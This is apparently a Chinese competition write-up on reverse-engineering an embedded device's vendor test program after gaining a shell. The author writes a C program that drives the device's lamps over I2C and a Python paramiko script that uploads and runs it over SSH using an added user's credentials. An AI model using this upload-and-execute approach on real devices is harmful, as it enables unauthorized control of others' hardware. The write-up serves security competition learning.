逆向某设备i2c总线控制功能实现

一次比赛中通过某漏洞getshell后,需要触发硬件上的一些响应,但是并没有找到可以直接控制硬件的对应命令,所以只能逆向能实现控制硬件的程序,进而编写对应功能代码,上传恶意程序进行操控。

找到目标程序

当我们getshell后,如何发现可以控制目标硬件的程序呢?我们发现当设备重启时,目标硬件会有响应效果,所以认为设备启动时会启动一些相应的进程,查看发现如下两个可疑的进程:

[root@xxx]# ps -a 
PID USER COMMAND 
1214 root ./webs 
1878 root /opt/app

最终在opt目录下发现厂商对于硬件的测试程序kk9test,运行可以使对应的硬件,按顺序依次遍历进行触发硬件效果。故直接逆向这个测试程序即可。

逆向目标程序

(1)在主函数发现启动LedCon相关的线程

image

(2)进⼊入这个线程中可以发现有⼀一个button_p的函数,名字很可疑,很像灯的开关

image

(3)进⼊入这个函数可⻅一个循环9次的代码段,我们的设备也就有9盏灯

image

(4)最终灯的状态会被传递到gpio相关函数,和I2C相关函数,经过测试gpio为实际的开关,I2C总线控制灯的亮暗,其中i2c_2,为全局变量,需要找到这个变量的初始化

image

(5)找到I2C总线的write⽅方法,分析出由两个字节控制灯的状态

image

(6)找到i2c_2变量的初始化代码,继续往下跟init函数

image

(7)找到了i2c总线挂载的具体设备,即第⼀个参数,上⾯的函数,从设备号为76

image

编写控制代码

所以可以直接上传恶意程序,利用gcc-arm静态编译,程序本身控制i2c总线,即可直接控制灯泡。代码如下:

#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdlib.h>
int main(int argc,char * argv[]){
int a,b;
char c,d;
  a= atoi(argv[1]);
  b= atoi(argv[2]);
  c= atoi(argv[3]);
  d= atoi(argv[4]);
  int fd;
  char z[4]={(char)a&0xff,(char)b&0xff,(char)c&0xff,(char)d&0xff};
  fd = open("/dev/i2c-0", 2306);
  ioctl(fd, 0x703u, 0x4c >> 1);
  ioctl(fd, 0x704u, 0);
  write(fd, z, 4u);
}

利用python远程通过ssh运行恶意控制代码(因为某漏洞,已经具有添加登录用户的权限了)

import paramiko,sys
ssh = paramiko.SSHClient()
key = paramiko.AutoAddPolicy()
ssh.set_missing_host_key_policy(key)
ssh.connect('192.168.0.1', 22, 'xuanxuan', 'xuanxuan' ,timeout=5)
sftp = paramiko.SFTPClient.from_transport(ssh.get_transport())
sftp = ssh.open_sftp()
sftp.put('exp', '/tmp/exp')
a = sys.argv[1]
commandlist=[
"chmod 777 /tmp/exp",
"/tmp/exp 2 255 "+str(int(a,2))+" 255"]
for j in commandlist:
    stdin, stdout, stderr = ssh.exec_command(j)
    for i in stdout.readlines():
        print(i)
ssh.close()